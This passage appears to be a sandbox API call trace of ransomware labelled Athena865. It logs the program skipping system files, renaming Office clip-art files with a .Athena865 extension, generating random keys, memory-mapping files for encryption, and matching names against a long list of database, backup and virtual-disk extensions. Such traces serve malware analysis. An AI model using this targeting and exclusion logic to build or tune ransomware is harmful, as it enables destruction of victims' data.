lpString1="J0215710.WMF") returned="J0215710.WMF" [0128.054] lstrlenW (lpString="J0215710.WMF") returned 12 [0128.054] lstrlenW (lpString="Athena865") returned 9 [0128.054] lstrcmpiW (lpString1="15710.WMF", lpString2="Athena865") returned -1 [0128.054] lstrlenW (lpString=".dll") returned 4 [0128.054] lstrcmpiW (lpString1="J0215710.WMF", lpString2=".dll") returned 1 [0128.054] lstrlenW (lpString=".lnk") returned 4 [0128.054] lstrcmpiW (lpString1="J0215710.WMF", lpString2=".lnk") returned 1 [0128.054] lstrlenW (lpString=".ini") returned 4 [0128.054] lstrcmpiW (lpString1="J0215710.WMF", lpString2=".ini") returned 1 [0128.054] lstrlenW (lpString=".sys") returned 4 [0128.054] lstrcmpiW (lpString1="J0215710.WMF", lpString2=".sys") returned 1 [0128.054] lstrlenW (lpString="J0215710.WMF") returned 12 [0128.054] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215710.WMF.Athena865") returned 73 [0128.054] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215710.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215710.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215710.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215710.wmf.athena865"), dwFlags=0x1) returned 1 [0128.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215710.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215710.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0128.058] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=17826) returned 1 [0128.058] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0128.062] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0128.062] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.063] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x48b0, lpName=0x0) returned 0x154 [0128.066] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x48b0) returned 0x100000 [0128.068] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0128.068] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0128.068] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.069] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0128.069] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0128.069] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0128.069] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0128.069] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0128.069] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0128.069] CloseHandle (hObject=0x154) returned 1 [0128.069] CloseHandle (hObject=0x17c) returned 1 [0128.069] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0128.069] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0128.069] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0128.070] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95e02700, ftCreationTime.dwHighDateTime=0x1be4927, ftLastAccessTime.dwLowDateTime=0x565a9290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95e02700, ftLastWriteTime.dwHighDateTime=0x1be4927, nFileSizeHigh=0x0, nFileSizeLow=0x15f2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0215718.WMF", cAlternateFileName="")) returned 1 [0128.070] lstrcmpiW (lpString1="J0215718.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0128.070] lstrcmpiW (lpString1="J0215718.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0128.070] lstrcmpiW (lpString1="J0215718.WMF", lpString2=".") returned 1 [0128.070] lstrcmpiW (lpString1="J0215718.WMF", lpString2="..") returned 1 [0128.070] lstrcmpiW (lpString1="J0215718.WMF", lpString2="windows") returned -1 [0128.070] lstrcmpiW (lpString1="J0215718.WMF", lpString2="bootmgr") returned 1 [0128.070] lstrcmpiW (lpString1="J0215718.WMF", lpString2="temp") returned -1 [0128.070] lstrcmpiW (lpString1="J0215718.WMF", lpString2="pagefile.sys") returned -1 [0128.070] lstrcmpiW (lpString1="J0215718.WMF", lpString2="boot") returned 1 [0128.070] lstrcmpiW (lpString1="J0215718.WMF", lpString2="ids.txt") returned 1 [0128.070] lstrcmpiW (lpString1="J0215718.WMF", lpString2="ntuser.dat") returned -1 [0128.070] lstrcmpiW (lpString1="J0215718.WMF", lpString2="perflogs") returned -1 [0128.070] lstrcmpiW (lpString1="J0215718.WMF", lpString2="MSBuild") returned -1 [0128.070] lstrlenW (lpString="J0215718.WMF") returned 12 [0128.070] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0215718.WMF" | out: lpString1="J0215718.WMF") returned="J0215718.WMF" [0128.070] lstrlenW (lpString="J0215718.WMF") returned 12 [0128.070] lstrlenW (lpString="Athena865") returned 9 [0128.070] lstrcmpiW (lpString1="15718.WMF", lpString2="Athena865") returned -1 [0128.070] lstrlenW (lpString=".dll") returned 4 [0128.071] lstrcmpiW (lpString1="J0215718.WMF", lpString2=".dll") returned 1 [0128.071] lstrlenW (lpString=".lnk") returned 4 [0128.071] lstrcmpiW (lpString1="J0215718.WMF", lpString2=".lnk") returned 1 [0128.071] lstrlenW (lpString=".ini") returned 4 [0128.071] lstrcmpiW (lpString1="J0215718.WMF", lpString2=".ini") returned 1 [0128.071] lstrlenW (lpString=".sys") returned 4 [0128.071] lstrcmpiW (lpString1="J0215718.WMF", lpString2=".sys") returned 1 [0128.071] lstrlenW (lpString="J0215718.WMF") returned 12 [0128.071] lstrlenW (lpString="bak") returned 3 [0128.071] lstrcmpiW (lpString1="WMF", lpString2="bak") returned 1 [0128.071] lstrlenW (lpString="ba_") returned 3 [0128.071] lstrcmpiW (lpString1="WMF", lpString2="ba_") returned 1 [0128.071] lstrlenW (lpString="dbb") returned 3 [0128.071] lstrcmpiW (lpString1="WMF", lpString2="dbb") returned 1 [0128.071] lstrlenW (lpString="vmdk") returned 4 [0128.071] lstrcmpiW (lpString1=".WMF", lpString2="vmdk") returned -1 [0128.071] lstrlenW (lpString="rar") returned 3 [0128.071] lstrcmpiW (lpString1="WMF", lpString2="rar") returned 1 [0128.071] lstrlenW (lpString="zip") returned 3 [0128.071] lstrcmpiW (lpString1="WMF", lpString2="zip") returned -1 [0128.071] lstrlenW (lpString="tgz") returned 3 [0128.071] lstrcmpiW (lpString1="WMF", lpString2="tgz") returned 1 [0128.071] lstrlenW (lpString="vbox") returned 4 [0128.071] lstrcmpiW (lpString1=".WMF", lpString2="vbox") returned -1 [0128.071] lstrlenW (lpString="vdi") returned 3 [0128.071] lstrcmpiW (lpString1="WMF", lpString2="vdi") returned 1 [0128.071] lstrlenW (lpString="vhd") returned 3 [0128.071] lstrcmpiW (lpString1="WMF", lpString2="vhd") returned 1 [0128.072] lstrlenW (lpString="vhdx") returned 4 [0128.072] lstrcmpiW (lpString1=".WMF", lpString2="vhdx") returned -1 [0128.072] lstrlenW (lpString="avhd") returned 4 [0128.072] lstrcmpiW (lpString1=".WMF", lpString2="avhd") returned -1 [0128.072] lstrlenW (lpString="db") returned 2 [0128.072] lstrcmpiW (lpString1="MF", lpString2="db") returned 1 [0128.072] lstrlenW (lpString="db2") returned 3 [0128.072] lstrcmpiW (lpString1="WMF", lpString2="db2") returned 1 [0128.072] lstrlenW (lpString="db3") returned 3 [0128.072] lstrcmpiW (lpString1="WMF", lpString2="db3") returned 1 [0128.072] lstrlenW (lpString="dbf") returned 3 [0128.072] lstrcmpiW (lpString1="WMF", lpString2="dbf") returned 1 [0128.072] lstrlenW (lpString="mdf") returned 3 [0128.072] lstrcmpiW (lpString1="WMF", lpString2="mdf") returned 1 [0128.072] lstrlenW (lpString="mdb") returned 3 [0128.072] lstrcmpiW (lpString1="WMF", lpString2="mdb") returned 1 [0128.072] lstrlenW (lpString="sql") returned 3 [0128.072] lstrcmpiW (lpString1="WMF", lpString2="sql") returned 1 [0128.072] lstrlenW (lpString="sqlite") returned 6 [0128.072] lstrcmpiW (lpString1="18.WMF", lpString2="sqlite") returned -1 [0128.072] lstrlenW (lpString="sqlite3") returned 7 [0128.072] lstrcmpiW (lpString1="718.WMF", lpString2="sqlite3") returned -1 [0128.072] lstrlenW (lpString="sqlitedb") returned 8 [0128.072] lstrcmpiW (lpString1="5718.WMF", lpString2="sqlitedb") returned -1 [0128.072] lstrlenW (lpString="xml") returned 3 [0128.072] lstrcmpiW (lpString1="WMF", lpString2="xml") returned -1 [0128.072] lstrlenW (lpString="$er") returned 3 [0128.073] lstrcmpiW (lpString1="WMF", lpString2="$er") returned 1 [0128.073] lstrlenW (lpString="4dd") returned 3 [0128.073] lstrcmpiW (lpString1="WMF", lpString2="4dd") returned 1 [0128.073] lstrlenW (lpString="4dl") returned 3 [0128.073] lstrcmpiW (lpString1="WMF", lpString2="4dl") returned 1 [0128.073] lstrlenW (lpString="^^^") returned 3 [0128.073] lstrcmpiW (lpString1="WMF", lpString2="^^^") returned 1 [0128.073] lstrlenW (lpString="abs") returned 3 [0128.073] lstrcmpiW (lpString1="WMF", lpString2="abs") returned 1 [0128.073] lstrlenW (lpString="abx") returned 3 [0128.073] lstrcmpiW (lpString1="WMF", lpString2="abx") returned 1 [0128.073] lstrlenW (lpString="accdb") returned 5 [0128.073] lstrcmpiW (lpString1="8.WMF", lpString2="accdb") returned -1 [0128.073] lstrlenW (lpString="accdc") returned 5 [0128.073] lstrcmpiW (lpString1="8.WMF", lpString2="accdc") returned -1 [0128.073] lstrlenW (lpString="accde") returned 5 [0128.073] lstrcmpiW (lpString1="8.WMF", lpString2="accde") returned -1 [0128.073] lstrlenW (lpString="accdr") returned 5 [0128.073] lstrcmpiW (lpString1="8.WMF", lpString2="accdr") returned -1 [0128.073] lstrlenW (lpString="accdt") returned 5 [0128.073] lstrcmpiW (lpString1="8.WMF", lpString2="accdt") returned -1 [0128.073] lstrlenW (lpString="accdw") returned 5 [0128.073] lstrcmpiW (lpString1="8.WMF", lpString2="accdw") returned -1 [0128.073] lstrlenW (lpString="accft") returned 5 [0128.073] lstrcmpiW (lpString1="8.WMF", lpString2="accft") returned -1 [0128.073] lstrlenW (lpString="adb") returned 3 [0128.073] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0128.074] lstrlenW (lpString="adb") returned 3 [0128.074] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0128.074] lstrlenW (lpString="ade") returned 3 [0128.074] lstrcmpiW (lpString1="WMF", lpString2="ade") returned 1 [0128.074] lstrlenW (lpString="adf") returned 3 [0128.074] lstrcmpiW (lpString1="WMF", lpString2="adf") returned 1 [0128.074] lstrlenW (lpString="adn") returned 3 [0128.074] lstrcmpiW (lpString1="WMF", lpString2="adn") returned 1 [0128.074] lstrlenW (lpString="adp") returned 3 [0128.074] lstrcmpiW (lpString1="WMF", lpString2="adp") returned 1 [0128.074] lstrlenW (lpString="alf") returned 3 [0128.074] lstrcmpiW (lpString1="WMF", lpString2="alf") returned 1 [0128.074] lstrlenW (lpString="ask") returned 3 [0128.074] lstrcmpiW (lpString1="WMF", lpString2="ask") returned 1 [0128.074] lstrlenW (lpString="btr") returned 3 [0128.074] lstrcmpiW (lpString1="WMF", lpString2="btr") returned 1 [0128.074] lstrlenW (lpString="cat") returned 3 [0128.074] lstrcmpiW (lpString1="WMF", lpString2="cat") returned 1 [0128.074] lstrlenW (lpString="cdb") returned 3 [0128.074] lstrcmpiW (lpString1="WMF", lpString2="cdb") returned 1 [0128.074] lstrlenW (lpString="ckp") returned 3 [0128.074] lstrcmpiW (lpString1="WMF", lpString2="ckp") returned 1 [0128.074] lstrlenW (lpString="cma") returned 3 [0128.074] lstrcmpiW (lpString1="WMF", lpString2="cma") returned 1 [0128.074] lstrlenW (lpString="cpd") returned 3 [0128.074] lstrcmpiW (lpString1="WMF", lpString2="cpd") returned 1 [0128.074] lstrlenW (lpString="dacpac") returned 6 [0128.074] lstrcmpiW (lpString1="18.WMF", lpString2="dacpac") returned -1 [0128.075] lstrlenW (lpString="dad") returned 3 [0128.075] lstrcmpiW (lpString1="WMF", lpString2="dad") returned 1 [0128.075] lstrlenW (lpString="dadiagrams") returned 10 [0128.075] lstrcmpiW (lpString1="215718.WMF", lpString2="dadiagrams") returned -1 [0128.075] lstrlenW (lpString="daschema") returned 8 [0128.075] lstrcmpiW (lpString1="5718.WMF", lpString2="daschema") returned -1 [0128.075] lstrlenW (lpString="db-journal") returned 10 [0128.075] lstrcmpiW (lpString1="215718.WMF", lpString2="db-journal") returned -1 [0128.075] lstrlenW (lpString="db-shm") returned 6 [0128.075] lstrcmpiW (lpString1="18.WMF", lpString2="db-shm") returned -1 [0128.075] lstrlenW (lpString="db-wal") returned 6 [0128.075] lstrcmpiW (lpString1="18.WMF", lpString2="db-wal") returned -1 [0128.075] lstrlenW (lpString="dbc") returned 3 [0128.075] lstrcmpiW (lpString1="WMF", lpString2="dbc") returned 1 [0128.075] lstrlenW (lpString="dbs") returned 3 [0128.075] lstrcmpiW (lpString1="WMF", lpString2="dbs") returned 1 [0128.075] lstrlenW (lpString="dbt") returned 3 [0128.075] lstrcmpiW (lpString1="WMF", lpString2="dbt") returned 1 [0128.075] lstrlenW (lpString="dbv") returned 3 [0128.075] lstrcmpiW (lpString1="WMF", lpString2="dbv") returned 1 [0128.075] lstrlenW (lpString="dbx") returned 3 [0128.075] lstrcmpiW (lpString1="WMF", lpString2="dbx") returned 1 [0128.075] lstrlenW (lpString="dcb") returned 3 [0128.075] lstrcmpiW (lpString1="WMF", lpString2="dcb") returned 1 [0128.075] lstrlenW (lpString="dct") returned 3 [0128.076] lstrcmpiW (lpString1="WMF", lpString2="dct") returned 1 [0128.076] lstrlenW (lpString="dcx") returned 3 [0128.076] lstrcmpiW (lpString1="WMF", lpString2="dcx") returned 1 [0128.076] lstrlenW (lpString="ddl") returned 3 [0128.076] lstrcmpiW (lpString1="WMF", lpString2="ddl") returned 1 [0128.076] lstrlenW (lpString="dlis") returned 4 [0128.076] lstrcmpiW (lpString1=".WMF", lpString2="dlis") returned -1 [0128.076] lstrlenW (lpString="dp1") returned 3 [0128.076] lstrcmpiW (lpString1="WMF", lpString2="dp1") returned 1 [0128.076] lstrlenW (lpString="dqy") returned 3 [0128.076] lstrcmpiW (lpString1="WMF", lpString2="dqy") returned 1 [0128.076] lstrlenW (lpString="dsk") returned 3 [0128.076] lstrcmpiW (lpString1="WMF", lpString2="dsk") returned 1 [0128.076] lstrlenW (lpString="dsn") returned 3 [0128.076] lstrcmpiW (lpString1="WMF", lpString2="dsn") returned 1 [0128.076] lstrlenW (lpString="dtsx") returned 4 [0128.076] lstrcmpiW (lpString1=".WMF", lpString2="dtsx") returned -1 [0128.076] lstrlenW (lpString="dxl") returned 3 [0128.076] lstrcmpiW (lpString1="WMF", lpString2="dxl") returned 1 [0128.076] lstrlenW (lpString="eco") returned 3 [0128.076] lstrcmpiW (lpString1="WMF", lpString2="eco") returned 1 [0128.076] lstrlenW (lpString="ecx") returned 3 [0128.076] lstrcmpiW (lpString1="WMF", lpString2="ecx") returned 1 [0128.076] lstrlenW (lpString="edb") returned 3 [0128.076] lstrcmpiW (lpString1="WMF", lpString2="edb") returned 1 [0128.076] lstrlenW (lpString="epim") returned 4 [0128.076] lstrcmpiW (lpString1=".WMF", lpString2="epim") returned -1 [0128.076] lstrlenW (lpString="fcd") returned 3 [0128.077] lstrcmpiW (lpString1="WMF", lpString2="fcd") returned 1 [0128.077] lstrlenW (lpString="fdb") returned 3 [0128.077] lstrcmpiW (lpString1="WMF", lpString2="fdb") returned 1 [0128.077] lstrlenW (lpString="fic") returned 3 [0128.077] lstrcmpiW (lpString1="WMF", lpString2="fic") returned 1 [0128.077] lstrlenW (lpString="flexolibrary") returned 12 [0128.077] lstrlenW (lpString="fm5") returned 3 [0128.077] lstrcmpiW (lpString1="WMF", lpString2="fm5") returned 1 [0128.077] lstrlenW (lpString="fmp") returned 3 [0128.077] lstrcmpiW (lpString1="WMF", lpString2="fmp") returned 1 [0128.077] lstrlenW (lpString="fmp12") returned 5 [0128.077] lstrcmpiW (lpString1="8.WMF", lpString2="fmp12") returned -1 [0128.077] lstrlenW (lpString="fmpsl") returned 5 [0128.077] lstrcmpiW (lpString1="8.WMF", lpString2="fmpsl") returned -1 [0128.077] lstrlenW (lpString="fol") returned 3 [0128.077] lstrcmpiW (lpString1="WMF", lpString2="fol") returned 1 [0128.077] lstrlenW (lpString="fp3") returned 3 [0128.077] lstrcmpiW (lpString1="WMF", lpString2="fp3") returned 1 [0128.077] lstrlenW (lpString="fp4") returned 3 [0128.077] lstrcmpiW (lpString1="WMF", lpString2="fp4") returned 1 [0128.077] lstrlenW (lpString="fp5") returned 3 [0128.077] lstrcmpiW (lpString1="WMF", lpString2="fp5") returned 1 [0128.077] lstrlenW (lpString="fp7") returned 3 [0128.077] lstrcmpiW (lpString1="WMF", lpString2="fp7") returned 1 [0128.077] lstrlenW (lpString="fpt") returned 3 [0128.077] lstrcmpiW (lpString1="WMF", lpString2="fpt") returned 1 [0128.077] lstrlenW (lpString="frm") returned 3 [0128.078] lstrcmpiW (lpString1="WMF", lpString2="frm") returned 1 [0128.078] lstrlenW (lpString="gdb") returned 3 [0128.078] lstrcmpiW (lpString1="WMF", lpString2="gdb") returned 1 [0128.078] lstrlenW (lpString="gdb") returned 3 [0128.078] lstrcmpiW (lpString1="WMF", lpString2="gdb") returned 1 [0128.078] lstrlenW (lpString="grdb") returned 4 [0128.078] lstrcmpiW (lpString1=".WMF", lpString2="grdb") returned -1 [0128.078] lstrlenW (lpString="gwi") returned 3 [0128.078] lstrcmpiW (lpString1="WMF", lpString2="gwi") returned 1 [0128.078] lstrlenW (lpString="hdb") returned 3 [0128.078] lstrcmpiW (lpString1="WMF", lpString2="hdb") returned 1 [0128.078] lstrlenW (lpString="his") returned 3 [0128.078] lstrcmpiW (lpString1="WMF", lpString2="his") returned 1 [0128.078] lstrlenW (lpString="ib") returned 2 [0128.078] lstrcmpiW (lpString1="MF", lpString2="ib") returned 1 [0128.078] lstrlenW (lpString="idb") returned 3 [0128.078] lstrcmpiW (lpString1="WMF", lpString2="idb") returned 1 [0128.082] lstrlenW (lpString="ihx") returned 3 [0128.082] lstrcmpiW (lpString1="WMF", lpString2="ihx") returned 1 [0128.082] lstrlenW (lpString="itdb") returned 4 [0128.082] lstrcmpiW (lpString1=".WMF", lpString2="itdb") returned -1 [0128.082] lstrlenW (lpString="itw") returned 3 [0128.082] lstrcmpiW (lpString1="WMF", lpString2="itw") returned 1 [0128.083] lstrlenW (lpString="jet") returned 3 [0128.083] lstrcmpiW (lpString1="WMF", lpString2="jet") returned 1 [0128.083] lstrlenW (lpString="jtx") returned 3 [0128.083] lstrcmpiW (lpString1="WMF", lpString2="jtx") returned 1 [0128.083] lstrlenW (lpString="kdb") returned 3 [0128.083] lstrcmpiW (lpString1="WMF", lpString2="kdb") returned 1 [0128.083] lstrlenW (lpString="kexi") returned 4 [0128.083] lstrcmpiW (lpString1=".WMF", lpString2="kexi") returned -1 [0128.083] lstrlenW (lpString="kexic") returned 5 [0128.083] lstrcmpiW (lpString1="8.WMF", lpString2="kexic") returned -1 [0128.083] lstrlenW (lpString="kexis") returned 5 [0128.083] lstrcmpiW (lpString1="8.WMF", lpString2="kexis") returned -1 [0128.083] lstrlenW (lpString="lgc") returned 3 [0128.083] lstrcmpiW (lpString1="WMF", lpString2="lgc") returned 1 [0128.083] lstrlenW (lpString="lwx") returned 3 [0128.083] lstrcmpiW (lpString1="WMF", lpString2="lwx") returned 1 [0128.083] lstrlenW (lpString="maf") returned 3 [0128.083] lstrcmpiW (lpString1="WMF", lpString2="maf") returned 1 [0128.083] lstrlenW (lpString="maq") returned 3 [0128.083] lstrcmpiW (lpString1="WMF", lpString2="maq") returned 1 [0128.083] lstrlenW (lpString="mar") returned 3 [0128.083] lstrcmpiW (lpString1="WMF", lpString2="mar") returned 1 [0128.083] lstrlenW (lpString="marshal") returned 7 [0128.083] lstrcmpiW (lpString1="718.WMF", lpString2="marshal") returned -1 [0128.083] lstrlenW (lpString="mas") returned 3 [0128.083] lstrcmpiW (lpString1="WMF", lpString2="mas") returned 1 [0128.084] lstrlenW (lpString="mav") returned 3 [0128.084] lstrcmpiW (lpString1="WMF", lpString2="mav") returned 1 [0128.084] lstrlenW (lpString="maw") returned 3 [0128.084] lstrcmpiW (lpString1="WMF", lpString2="maw") returned 1 [0128.084] lstrlenW (lpString="mdbhtml") returned 7 [0128.084] lstrcmpiW (lpString1="718.WMF", lpString2="mdbhtml") returned -1 [0128.084] lstrlenW (lpString="mdn") returned 3 [0128.084] lstrcmpiW (lpString1="WMF", lpString2="mdn") returned 1 [0128.084] lstrlenW (lpString="mdt") returned 3 [0128.084] lstrcmpiW (lpString1="WMF", lpString2="mdt") returned 1 [0128.084] lstrlenW (lpString="mfd") returned 3 [0128.084] lstrcmpiW (lpString1="WMF", lpString2="mfd") returned 1 [0128.084] lstrlenW (lpString="mpd") returned 3 [0128.084] lstrcmpiW (lpString1="WMF", lpString2="mpd") returned 1 [0128.084] lstrlenW (lpString="mrg") returned 3 [0128.084] lstrcmpiW (lpString1="WMF", lpString2="mrg") returned 1 [0128.084] lstrlenW (lpString="mud") returned 3 [0128.084] lstrcmpiW (lpString1="WMF", lpString2="mud") returned 1 [0128.084] lstrlenW (lpString="mwb") returned 3 [0128.084] lstrcmpiW (lpString1="WMF", lpString2="mwb") returned 1 [0128.084] lstrlenW (lpString="myd") returned 3 [0128.084] lstrcmpiW (lpString1="WMF", lpString2="myd") returned 1 [0128.084] lstrlenW (lpString="ndf") returned 3 [0128.084] lstrcmpiW (lpString1="WMF", lpString2="ndf") returned 1 [0128.084] lstrlenW (lpString="nnt") returned 3 [0128.084] lstrcmpiW (lpString1="WMF", lpString2="nnt") returned 1 [0128.084] lstrlenW (lpString="nrmlib") returned 6 [0128.085] lstrcmpiW (lpString1="18.WMF", lpString2="nrmlib") returned -1 [0128.085] lstrlenW (lpString="ns2") returned 3 [0128.085] lstrcmpiW (lpString1="WMF", lpString2="ns2") returned 1 [0128.085] lstrlenW (lpString="ns3") returned 3 [0128.085] lstrcmpiW (lpString1="WMF", lpString2="ns3") returned 1 [0128.085] lstrlenW (lpString="ns4") returned 3 [0128.085] lstrcmpiW (lpString1="WMF", lpString2="ns4") returned 1 [0128.085] lstrlenW (lpString="nsf") returned 3 [0128.085] lstrcmpiW (lpString1="WMF", lpString2="nsf") returned 1 [0128.085] lstrlenW (lpString="nv") returned 2 [0128.085] lstrcmpiW (lpString1="MF", lpString2="nv") returned -1 [0128.085] lstrlenW (lpString="nv2") returned 3 [0128.085] lstrcmpiW (lpString1="WMF", lpString2="nv2") returned 1 [0128.085] lstrlenW (lpString="nwdb") returned 4 [0128.085] lstrcmpiW (lpString1=".WMF", lpString2="nwdb") returned -1 [0128.085] lstrlenW (lpString="nyf") returned 3 [0128.085] lstrcmpiW (lpString1="WMF", lpString2="nyf") returned 1 [0128.085] lstrlenW (lpString="odb") returned 3 [0128.085] lstrcmpiW (lpString1="WMF", lpString2="odb") returned 1 [0128.085] lstrlenW (lpString="odb") returned 3 [0128.085] lstrcmpiW (lpString1="WMF", lpString2="odb") returned 1 [0128.085] lstrlenW (lpString="oqy") returned 3 [0128.085] lstrcmpiW (lpString1="WMF", lpString2="oqy") returned 1 [0128.085] lstrlenW (lpString="ora") returned 3 [0128.085] lstrcmpiW (lpString1="WMF", lpString2="ora") returned 1 [0128.085] lstrlenW (lpString="orx") returned 3 [0128.085] lstrcmpiW (lpString1="WMF", lpString2="orx") returned 1 [0128.086] lstrlenW (lpString="owc") returned 3 [0128.086] lstrcmpiW (lpString1="WMF", lpString2="owc") returned 1 [0128.086] lstrlenW (lpString="p96") returned 3 [0128.086] lstrcmpiW (lpString1="WMF", lpString2="p96") returned 1 [0128.086] lstrlenW (lpString="p97") returned 3 [0128.086] lstrcmpiW (lpString1="WMF", lpString2="p97") returned 1 [0128.086] lstrlenW (lpString="pan") returned 3 [0128.086] lstrcmpiW (lpString1="WMF", lpString2="pan") returned 1 [0128.086] lstrlenW (lpString="pdb") returned 3 [0128.086] lstrcmpiW (lpString1="WMF", lpString2="pdb") returned 1 [0128.086] lstrlenW (lpString="pdm") returned 3 [0128.086] lstrcmpiW (lpString1="WMF", lpString2="pdm") returned 1 [0128.086] lstrlenW (lpString="pnz") returned 3 [0128.086] lstrcmpiW (lpString1="WMF", lpString2="pnz") returned 1 [0128.086] lstrlenW (lpString="qry") returned 3 [0128.086] lstrcmpiW (lpString1="WMF", lpString2="qry") returned 1 [0128.086] lstrlenW (lpString="qvd") returned 3 [0128.086] lstrcmpiW (lpString1="WMF", lpString2="qvd") returned 1 [0128.086] lstrlenW (lpString="rbf") returned 3 [0128.086] lstrcmpiW (lpString1="WMF", lpString2="rbf") returned 1 [0128.086] lstrlenW (lpString="rctd") returned 4 [0128.086] lstrcmpiW (lpString1=".WMF", lpString2="rctd") returned -1 [0128.086] lstrlenW (lpString="rod") returned 3 [0128.086] lstrcmpiW (lpString1="WMF", lpString2="rod") returned 1 [0128.086] lstrlenW (lpString="rodx") returned 4 [0128.086] lstrcmpiW (lpString1=".WMF", lpString2="rodx") returned -1 [0128.087] lstrlenW (lpString="rpd") returned 3 [0128.087] lstrcmpiW (lpString1="WMF", lpString2="rpd") returned 1 [0128.087] lstrlenW (lpString="rsd") returned 3 [0128.087] lstrcmpiW (lpString1="WMF", lpString2="rsd") returned 1 [0128.087] lstrlenW (lpString="sas7bdat") returned 8 [0128.087] lstrcmpiW (lpString1="5718.WMF", lpString2="sas7bdat") returned -1 [0128.087] lstrlenW (lpString="sbf") returned 3 [0128.087] lstrcmpiW (lpString1="WMF", lpString2="sbf") returned 1 [0128.087] lstrlenW (lpString="scx") returned 3 [0128.087] lstrcmpiW (lpString1="WMF", lpString2="scx") returned 1 [0128.087] lstrlenW (lpString="sdb") returned 3 [0128.087] lstrcmpiW (lpString1="WMF", lpString2="sdb") returned 1 [0128.087] lstrlenW (lpString="sdc") returned 3 [0128.087] lstrcmpiW (lpString1="WMF", lpString2="sdc") returned 1 [0128.087] lstrlenW (lpString="sdf") returned 3 [0128.087] lstrcmpiW (lpString1="WMF", lpString2="sdf") returned 1 [0128.087] lstrlenW (lpString="sis") returned 3 [0128.087] lstrcmpiW (lpString1="WMF", lpString2="sis") returned 1 [0128.087] lstrlenW (lpString="spq") returned 3 [0128.087] lstrcmpiW (lpString1="WMF", lpString2="spq") returned 1 [0128.087] lstrlenW (lpString="te") returned 2 [0128.087] lstrcmpiW (lpString1="MF", lpString2="te") returned -1 [0128.087] lstrlenW (lpString="teacher") returned 7 [0128.087] lstrcmpiW (lpString1="718.WMF", lpString2="teacher") returned -1 [0128.087] lstrlenW (lpString="tmd") returned 3 [0128.087] lstrcmpiW (lpString1="WMF", lpString2="tmd") returned 1 [0128.087] lstrlenW (lpString="tps") returned 3 [0128.088] lstrcmpiW (lpString1="WMF", lpString2="tps") returned 1 [0128.088] lstrlenW (lpString="trc") returned 3 [0128.088] lstrcmpiW (lpString1="WMF", lpString2="trc") returned 1 [0128.088] lstrlenW (lpString="trc") returned 3 [0128.088] lstrcmpiW (lpString1="WMF", lpString2="trc") returned 1 [0128.088] lstrlenW (lpString="trm") returned 3 [0128.088] lstrcmpiW (lpString1="WMF", lpString2="trm") returned 1 [0128.088] lstrlenW (lpString="udb") returned 3 [0128.088] lstrcmpiW (lpString1="WMF", lpString2="udb") returned 1 [0128.088] lstrlenW (lpString="udl") returned 3 [0128.088] lstrcmpiW (lpString1="WMF", lpString2="udl") returned 1 [0128.088] lstrlenW (lpString="usr") returned 3 [0128.088] lstrcmpiW (lpString1="WMF", lpString2="usr") returned 1 [0128.088] lstrlenW (lpString="v12") returned 3 [0128.088] lstrcmpiW (lpString1="WMF", lpString2="v12") returned 1 [0128.088] 